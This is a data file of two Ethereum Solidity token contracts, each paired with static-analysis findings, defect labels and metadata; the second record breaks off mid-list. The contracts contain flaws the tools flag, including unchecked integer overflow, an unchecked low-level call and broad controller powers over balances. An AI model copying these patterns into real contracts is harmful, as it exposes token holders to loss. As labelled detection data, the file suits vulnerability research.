OberbankCertifiedDepositSubsidiaries | 0xf80ab533934dceb53f8b7b7ecab0bcaec588f579 | Solidity | pragma solidity ^0.4.23;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract OberbankCertifiedDepositSubsidiaries is StandardToken { // Token is coded ECR20 Contract.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function OberbankCertifiedDepositSubsidiaries() {
balances[msg.sender] = 999000000000000000000000000000000000000; // Give the creator all initial geo-spatially digitized tokens.(CHANGE THIS)
totalSupply = 999000000000000000000000000000000000000; // Update total supply and add updated location data from https://glovis.usgs.gov (1000 for example) (CHANGE THIS)
name = "Oberbank Certified Deposit-Subsidiaries: Ober Penzugyi Lizing Szolgaltato Zartkoruen Mukodo Reszvenytarsasag"; // Set the name for display purposes (CHANGE THIS)
decimals = 18; // Amount of decimals for display purposes (CHANGE THIS)
symbol = "Euro.."; // Set the symbol for display purposes (CHANGE THIS)
unitsOneEthCanBuy = 309; // Set the price of your token for the ICO (CHANGE THIS)
fundsWallet = msg.sender; // The owner of the contract gets ETH
}
function() public payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["128"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["100", "84"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["118", "123", "122", "60", "61", "62", "49", "50", "119"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [100]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [139]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [139]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [29]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [6]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [132, 133, 134, 135, 136, 137, 138, 139, 140, 141]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [128, 129, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [34]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [16]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [10]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [139]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [132]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [78]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [72]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [78]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [43]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [43]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [56]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [56]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [72]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [132]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [56]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [68]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [132]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [108]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"OberbankCertifiedDepositSubsidiaries.sol": [109]}}] | [{"error": "Integer Underflow.", "line": 100, "level": "Warning"}, {"error": "Integer Underflow.", "line": 97, "level": "Warning"}, {"error": "Integer Underflow.", "line": 99, "level": "Warning"}, {"error": "Integer Overflow.", "line": 60, "level": "Warning"}, {"error": "Integer Overflow.", "line": 132, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 139, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 139, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 6, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 10, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 34, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 68, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 78, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 72, "severity": 2}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 6, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 10, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 16, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 23, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 29, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 34, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 87, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 139, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 139, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 117, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 10, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 16, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 23, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 29, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 34, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 43, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 56, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 68, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 72, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 78, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 107, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 132, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 82, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 83, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"fundsWallet","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"unitsOneEthCanBuy","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalEthInWei","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | Default | false | bzzr://5d41713e9d26508921efb70faff8e4c3dde85af89e0b5e3cc6652a40400c8ff5 |
||||
Token | 0x0317ada015cf35244b9f9c7d1f8f05c3651833ff | Solidity | pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ApproveAndCallReceiver {
function receiveApproval(address _from, uint256 _amount, address _token, bytes _data) public;
}
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
constructor() public {
controller = msg.sender;
}
function changeController(address _newController) onlyController public {
controller = _newController;
}
}
contract TokenAbout is Controlled {
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) {
return false;
}
uint256 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function claimTokens(address[] tokens) onlyController public {
require(tokens.length <= 100, "tokens.length too long");
address _token;
uint256 balance;
ERC20Token token;
for(uint256 i; i<tokens.length; i++){
_token = tokens[i];
if (_token == 0x0) {
balance = address(this).balance;
if(balance > 0){
msg.sender.transfer(balance);
}
}else{
token = ERC20Token(_token);
balance = token.balanceOf(address(this));
token.transfer(msg.sender, balance);
emit ClaimedTokens(_token, msg.sender, balance);
}
}
}
}
contract TokenController {
function proxyPayment(address _owner) payable public returns(bool);
function onTransfer(address _from, address _to, uint _amount) public view returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public view returns(bool);
}
contract ERC20Token {
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenI is ERC20Token, Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals = 18; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
function approveAndCall( address _spender, uint256 _amount, bytes _extraData) public returns (bool success);
function generateTokens(address _owner, uint _amount) public returns (bool);
function destroyTokens(address _owner, uint _amount) public returns (bool);
function enableTransfers(bool _transfersEnabled) public;
}
contract Token is TokenI, TokenAbout {
using SafeMath for uint256;
address public owner;
string public techProvider = "WeYii Tech(https://weyii.co)";
mapping (uint8 => uint256[]) public freezeOf; //所有数额,地址与数额合并为uint256,位运算拆分。
uint8 currUnlockStep; //当前解锁step
uint256 currUnlockSeq; //当前解锁step 内的游标
mapping (uint8 => bool) public stepUnlockInfo; //所有锁仓,key 使用序号向上增加,value,是否已解锁。
mapping (address => uint256) public freezeOfUser; //用户所有锁仓,方便用户查询自己锁仓余额
mapping (uint8 => uint256) public stepLockend; //key:锁仓step,value:解锁时
bool public transfersEnabled = true;
event Burn(address indexed from, uint256 value);
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address initialOwner) public {
name = tokenName;
symbol = tokenSymbol;
owner = initialOwner;
totalSupply = initialSupply*uint256(10)**decimals;
balanceOf[owner] = totalSupply;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier ownerOrController(){
require(msg.sender == owner || msg.sender == controller);
_;
}
modifier transable(){
require(transfersEnabled);
_;
}
modifier ownerOrUser(address user){
require(msg.sender == owner || msg.sender == user);
_;
}
modifier userOrController(address user){
require(msg.sender == user || msg.sender == owner || msg.sender == controller);
_;
}
modifier realUser(address user){
require(user != 0x0);
_;
}
modifier moreThanZero(uint256 _value){
require(_value > 0);
_;
}
modifier userEnough(address _user, uint256 _amount) {
require(balanceOf[_user] >= _amount);
_;
}
function addLockStep(uint8 _step, uint _endTime) onlyController external returns(bool) {
stepLockend[_step] = _endTime;
}
function transfer(address _to, uint256 _value) realUser(_to) moreThanZero(_value) transable public returns (bool) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
function approve(address _spender, uint256 _value) transable public returns (bool success) {
require(_value == 0 || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function unApprove(address _spender, uint256 _value) moreThanZero(_value) transable public returns (bool success) {
require(_value == 0 || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = allowance[msg.sender][_spender].sub(_value);
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) transable public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallReceiver(_spender).receiveApproval(msg.sender, _amount, this, _extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) realUser(_from) realUser(_to) moreThanZero(_value) transable public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the sender has enough
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferMulti(address[] _to, uint256[] _value) transable public returns (bool success, uint256 amount){
require(_to.length == _value.length && _to.length <= 300, "transfer once should be less than 300, or will be slow");
uint256 balanceOfSender = balanceOf[msg.sender];
uint256 len = _to.length;
for(uint256 j; j<len; j++){
require(_value[j] <= balanceOfSender); //limit transfer value
amount = amount.add(_value[j]);
}
require(balanceOfSender > amount ); //check enough and not overflow
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
address _toI;
uint256 _valueI;
for(uint256 i; i<len; i++){
_toI = _to[i];
_valueI = _value[i];
balanceOf[_toI] = balanceOf[_toI].add(_valueI);
emit Transfer(msg.sender, _toI, _valueI);
}
return (true, amount);
}
function transferMultiSameValue(address[] _to, uint256 _value) transable public returns (bool){
require(_to.length <= 300, "transfer once should be less than 300, or will be slow");
uint256 len = _to.length;
uint256 amount = _value.mul(len);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
address _toI;
for(uint256 i; i<len; i++){
_toI = _to[i];
balanceOf[_toI] = balanceOf[_toI].add(_value);
emit Transfer(msg.sender, _toI, _value);
}
return true;
}
function freeze(address _user, uint256[] _value, uint8[] _step) onlyController public returns (bool success) {
require(_value.length == _step.length, "length of value and step must be equal");
require(_value.length <= 100, "lock step should less or equal than 100");
uint256 amount; //冻结总额
for(uint i; i<_value.length; i++){
amount = amount.add(_value[i]);
}
require(balanceOf[_user] >= amount, "balance of user must bigger or equal than amount of all steps");
balanceOf[_user] -= amount;
freezeOfUser[_user] += amount;
uint256 _valueI;
uint8 _stepI;
for(i=0; i<_value.length; i++){
_valueI = _value[i];
_stepI = _step[i];
freezeOf[_stepI].push(uint256(_user)<<96|_valueI);
}
emit Freeze(_user, amount);
return true;
}
function unFreeze(uint8 _step) onlyController public returns (bool unlockOver) {
require(stepLockend[_step]<now && (currUnlockStep==_step || currUnlockSeq==uint256(0)));
require(stepUnlockInfo[_step]==false);
uint256[] memory currArr = freezeOf[_step];
currUnlockStep = _step;
if(currUnlockSeq==uint256(0)){
currUnlockSeq = currArr.length;
}
uint256 start = ((currUnlockSeq>99)?(currUnlockSeq-99): 0);
uint256 userLockInfo;
uint256 _amount;
address userAddress;
for(uint256 end = currUnlockSeq; end>start; end--){
userLockInfo = freezeOf[_step][end-1];
_amount = userLockInfo&0xFFFFFFFFFFFFFFFFFFFFFFFF;
userAddress = address(userLockInfo>>96);
balanceOf[userAddress] += _amount;
freezeOfUser[userAddress] = freezeOfUser[userAddress].sub(_amount);
emit Unfreeze(userAddress, _amount);
}
if(start==0){
stepUnlockInfo[_step] = true;
currUnlockSeq = 0;
}else{
currUnlockSeq = start;
}
return true;
}
function() payable public {
require(isContract(controller), "controller is not a contract");
bool proxyPayment = TokenController(controller).proxyPayment.value(msg.value)(msg.sender);
require(proxyPayment);
}
function generateTokens(address _user, uint _amount) onlyController userEnough(owner, _amount) public returns (bool) {
balanceOf[_user] += _amount;
balanceOf[owner] -= _amount;
emit Transfer(0, _user, _amount);
return true;
}
function destroyTokens(address _user, uint _amount) onlyController userEnough(_user, _amount) public returns (bool) {
require(balanceOf[_user] >= _amount);
balanceOf[owner] += _amount;
balanceOf[_user] -= _amount;
emit Transfer(_user, 0, _amount);
emit Burn(_user, _amount);
return true;
}
function changeOwner(address newOwner) onlyOwner public returns (bool) {
balanceOf[newOwner] = balanceOf[owner];
balanceOf[owner] = 0;
owner = newOwner;
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController public {
transfersEnabled = _transfersEnabled;
}
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["227", "270"]}, {"defect": "Missing_return_statement", "type": "Code_specification", "severity": "Low", "lines": ["181"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["86"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["29", "86"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["117", "105", "107", "106", "93", "94", "98"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["331", "315", "315", "322", "322"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["137", "293", "325", "324", "266", "267", "317", "316", "296", "287"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["280"]}] | [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"Token.sol": [273]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [58, 59, 60, 61]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [281]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [106]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [117]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"Token.sol": [53, 54, 55, 56, 57, 58, 59, 60, 61, 62]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Token.sol": [10, 11, 12, 13, 14, 15]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [185, 186, 187, 188, 189, 190]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [256, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [89]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [88]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [108]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [110]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [109]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [212, 213, 214, 215, 216, 217, 218, 219, 220, 221]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [87]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [331, 332, 333, 334, 335, 336]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [199, 200, 201, 202, 203, 204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [30]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [309, 310, 311, 312, 313]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [45, 46, 47]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Token.sol": [111]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [1]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"Token.sol": [334]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"Token.sol": [46]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"Token.sol": [334]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"Token.sol": [136]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"Token.sol": [46]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Token.sol": [79]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Token.sol": [74]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Token.sol": [78]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [181]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [258]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Token.sol": [338]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", 